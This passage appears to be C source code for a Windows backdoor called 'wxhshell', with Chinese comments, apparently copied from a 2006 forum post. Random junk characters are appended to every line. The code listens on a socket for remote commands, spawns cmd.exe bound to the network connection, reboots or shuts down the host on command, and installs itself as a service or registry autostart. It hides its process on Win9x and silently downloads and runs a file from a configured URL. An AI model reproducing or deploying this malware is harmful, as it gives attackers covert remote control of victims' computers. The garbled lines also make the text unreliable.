  // 帮助 2,I]H'}^  
  case '?': { "X?Zw$gRud  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .%W.uF^  
    break; G){+.X4g3  
  } o%lxEd r  
  // 安装 P>~Usuf4  
  case 'i': { 3''Kg<k,I  
    if(Install()) 5'{QMnfB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qycf;Kl:6  
    else +Gy9K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?@MY+r_G  
    break; ZK2&l8  
    } ^P [#YO  
  // 卸载 I=[09o  
  case 'r': { n?q+:P  
    if(Uninstall()) ,:-^O#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {uZ|Oog(p  
    else Jz&dC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U m`KmM3  
    break; 0?I  
    } Ha ZV7  
  // 显示 wxhshell 所在路径 Ya<KMBi3  
  case 'p': { lQ [JA[  
    char svExeFile[MAX_PATH]; TOP,]N/F H  
    strcpy(svExeFile,"\n\r"); dYwEVu6q  
      strcat(svExeFile,ExeFile); "<&o ;x<  
        send(wsh,svExeFile,strlen(svExeFile),0); X9" T(`  
    break; m\ qR myO  
    } 8"ZcKxDk  
  // 重启 ,@N.v?p>  
  case 'b': { 7:$dl #  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T# tFzbr  
    if(Boot(REBOOT)) }VH2G94Ll  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rdd9JJsVd  
    else { -biw{  
    closesocket(wsh); l9y%@7  
    ExitThread(0); wt_ae|hv  
    } Qd ?S~3XT  
    break; @ K2Ncb7  
    } 5(Q-||J  
  // 关机 DEfhR?v  
  case 'd': { RdpOj >fT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QqeF   
    if(Boot(SHUTDOWN)) lY |]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kAx J#RG  
    else { F[v^43-^_  
    closesocket(wsh); fl_a@QdB#  
    ExitThread(0); ;gRPTk$X3  
    } \naG  
    break; #fyY37-  
    } `"iPJw14  
  // 获取shell $K|2k7  
  case 's': { jM'Fb.>~  
    CmdShell(wsh); "JYWsE  
    closesocket(wsh); 3VQmo\li  
    ExitThread(0); "(+aWvb  
    break; /cZcfCW  
  } hH?ke(&=f  
  // 退出 4tapQgj24  
  case 'x': { \/y&l\ k)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Tc:TaL  
    CloseIt(wsh); .e S* F  
    break; L{c\7  
    } %Si3LQf  
  // 离开 _9/Af1 X  
  case 'q': { k@9q5lu;T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D sBZ%  
    closesocket(wsh); + k   
    WSACleanup(); ,#.^2O9-^  
    exit(1); _p+q)#.W  
    break; I]d?F:cdX  
        } fvDcE]_%H  
  } q1%xk =8  
  } &G+:t)|S  
\'nE{  
  // 提示信息  qJj5_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lb2/ Te*  
} 8O^z{Yh7  
  } 6rAenK-%  
072`i 46  
  return; ?kc,}/4  
} gHU0Pr9'  
[#2z=Xg  
// shell模块句柄 `&A-m8X  
int CmdShell(SOCKET sock) O@KAh5EB  
{ }Ot2; T  
STARTUPINFO si; u O~MT7~[X  
ZeroMemory(&si,sizeof(si)); ^eqq|(<K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wQ9fPOm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `ve5>aw0_Y  
PROCESS_INFORMATION ProcessInfo; Ml,87fo  
char cmdline[]="cmd"; xTdh/}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =ThacZHb8  
  return 0; 8~h.i1L  
} If.hA}  
S 5nri(m  
// 自身启动模式 / =:X,^"P  
int StartFromService(void) <F5x}i~(C  
{ EXbhyg  
typedef struct  0GiL(e|  
{ QPwUW  
  DWORD ExitStatus; U_Va'7  
  DWORD PebBaseAddress; ;z^C\=om  
  DWORD AffinityMask; KZTT2KsYl  
  DWORD BasePriority; p%y|w  
  ULONG UniqueProcessId; [,p[%Dza  
  ULONG InheritedFromUniqueProcessId; X9n},}bJ"  
}   PROCESS_BASIC_INFORMATION; >I.X]<jI  
W-@}q}A  
PROCNTQSIP NtQueryInformationProcess; Y[ toN9,  
{3=]cLtt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WJ$!W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H!dg(d^  
2=xjgK  
  HANDLE             hProcess; c4n]#((%a  
  PROCESS_BASIC_INFORMATION pbi; +}0/ %5 =1  
keWqL]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VE5M}kDCZ  
  if(NULL == hInst ) return 0; ojZvgF  
]l4# KI@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^iaG>rvA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Dk&5d^d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pElAY3  
3]1uDgfr  
  if (!NtQueryInformationProcess) return 0; -*Z;EA-  
ohe0}~)V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); StJ&YYdD  
  if(!hProcess) return 0; c:MP^PWc  
V/}g'_E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4r'f/s8"#  
qkN{l88  
  CloseHandle(hProcess); 0W I3m2i  
&}G2;O}3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~4fjFo&_\  
if(hProcess==NULL) return 0; o3~ecJ?k  
0]3#3TH  
HMODULE hMod; ]ozZW:  
char procName[255]; !yQ#E2/A  
unsigned long cbNeeded; 5&\%  
g~JN"ap  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m:,S1V_jl  
pIy+3&\e;  
  CloseHandle(hProcess); se1\<YHDS  
IP E2t  
if(strstr(procName,"services")) return 1; // 以服务启动 rmOcA  
CHqRCQR.  
  return 0; // 注册表启动 w{1DwCLKq  
} M/X&zr  
{ ke}W  
// 主模块 D`2c61jyc  
int StartWxhshell(LPSTR lpCmdLine) 6WEYg   
{ R7 )2@;i  
  SOCKET wsl; h`0'27\C  
BOOL val=TRUE; CnT]u U  
  int port=0; k%5 o5Hx  
  struct sockaddr_in door; !vB8Pk"  
7r?s)ZV  
  if(wscfg.ws_autoins) Install(); H53dy*wb$  
)!:}R}q  
port=atoi(lpCmdLine); WxB}Uh  
M7|k"iz v  
if(port<=0) port=wscfg.ws_port; Ungex@s_  
kDAPT_Gid  
  WSADATA data; ^x8yW brE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HD1+0<  
lj{Jw.t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bF5mCR:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hP1H/=~  
  door.sin_family = AF_INET; y my/`%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SL9]$MmJn  
  door.sin_port = htons(port); Q{ibH=^  
nwOT%@nw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /T53"+7:0  
closesocket(wsl); |2#)lGA  
return 1; gZI88Q  
} =.Tc l"O[  
vR X_}`m8#  
  if(listen(wsl,2) == INVALID_SOCKET) { /1F5khN  
closesocket(wsl); 8.S&J6  
return 1; Cpm&w?6  
} /0PBY-O  
  Wxhshell(wsl); \>b :  
  WSACleanup(); 9ZbT41  
?U\@?@  
return 0; W$g<nhLK  
K\w:'%>-  
} zJhG`iWFw  
^W&qTSjh  
// 以NT服务方式启动 +HGPn0As  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VI{!ZD]  
{ hRU.^Fn#%  
DWORD   status = 0; I\%a<  
  DWORD   specificError = 0xfffffff; bqmb|mD  
w}wABO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #GTR}|Aga  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x4$#x70?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qhFWQ1W  
  serviceStatus.dwWin32ExitCode     = 0; pX5#!)  
  serviceStatus.dwServiceSpecificExitCode = 0; 7rF )fKW  
  serviceStatus.dwCheckPoint       = 0; 5cr d.1@^  
  serviceStatus.dwWaitHint       = 0; _$g2;X >  
?AMn>v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N- !>\n  
  if (hServiceStatusHandle==0) return; G?p !*7N  
7Nu.2qE  
status = GetLastError(); ?pE)K<+Zkf  
  if (status!=NO_ERROR) qL;OE.?oA  
{ ljr?Z,R4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >(>,*zP<9  
    serviceStatus.dwCheckPoint       = 0; _,,w>q6K  
    serviceStatus.dwWaitHint       = 0; _>b=f  
    serviceStatus.dwWin32ExitCode     = status; S.u1[Yz^  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bri yy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TBAF_$  
    return; K{]9Yo  
  } MBeubS  
,>YW7+kY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ><t4 f(d  
  serviceStatus.dwCheckPoint       = 0; Z1 7=g@  
  serviceStatus.dwWaitHint       = 0; K~1u R:DR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (:g ZZG  
} -2o_ L?  
F'~\!dNL  
// 处理NT服务事件,比如:启动、停止 -a=RCzX]  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  S2;u!f  
{ k H.e"e  
switch(fdwControl) f ye=8 r  
{ W 'w{}|  
case SERVICE_CONTROL_STOP: ,Y) 7M3I  
  serviceStatus.dwWin32ExitCode = 0; -:$#koW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &U.U<  
  serviceStatus.dwCheckPoint   = 0; 5 $58z  
  serviceStatus.dwWaitHint     = 0; ]!um}8!}  
  { x6qQ Y<>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oq`CKf  
  } 8zI*<RX.Q  
  return; Z,jR:_ p  
case SERVICE_CONTROL_PAUSE: l;~b:[r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R^hlfKnt  
  break; rf ?\s/#OY  
case SERVICE_CONTROL_CONTINUE: NFs Cq_f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;4%Co)Rw  
  break; prk@uYCa =  
case SERVICE_CONTROL_INTERROGATE: 9I|D"zXn  
  break; ehpU`vQz  
}; &1 BACKu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 99KW("C1F  
} ?LwBF;Y  
]jB`"to*}  
// 标准应用程序主函数 ^b;3Jj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PwC9@c%c  
{ "9^OT  
D;Bij=  
// 获取操作系统版本 =$w QA  
OsIsNt=GetOsVer(); \ cr)O^&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >d9b"T  
pXhN?joe  
  // 从命令行安装 aA6m5  
  if(strpbrk(lpCmdLine,"iI")) Install(); qlNB\~HCe  
K_Q-9j  
  // 下载执行文件 EK%J%NY  
if(wscfg.ws_downexe) { JeXA*U#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8 U<$u,WS  
  WinExec(wscfg.ws_filenam,SW_HIDE); hWz/PK,  
} riu_^!"Z_  
!^x;4@Ejm  
if(!OsIsNt) { O' ~>AC5{  
// 如果时win9x,隐藏进程并且设置为注册表启动 M/abd 7q  
HideProc(); O:{N5+HVG  
StartWxhshell(lpCmdLine); c D5N'3  
} {5NE jUu{j  
else sDZ<X A  
  if(StartFromService()) ] :.  
  // 以服务方式启动 CxV$_J  
  StartServiceCtrlDispatcher(DispatchTable); cl{kCSZo.z  
else n_/;j$h  
  // 普通方式启动 -d]v6q'1  
  StartWxhshell(lpCmdLine); @#>YU  
fAT+x1J\  
return 0; 5M? I-m  
}
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只看该作者 1 发表于: 2006-10-10
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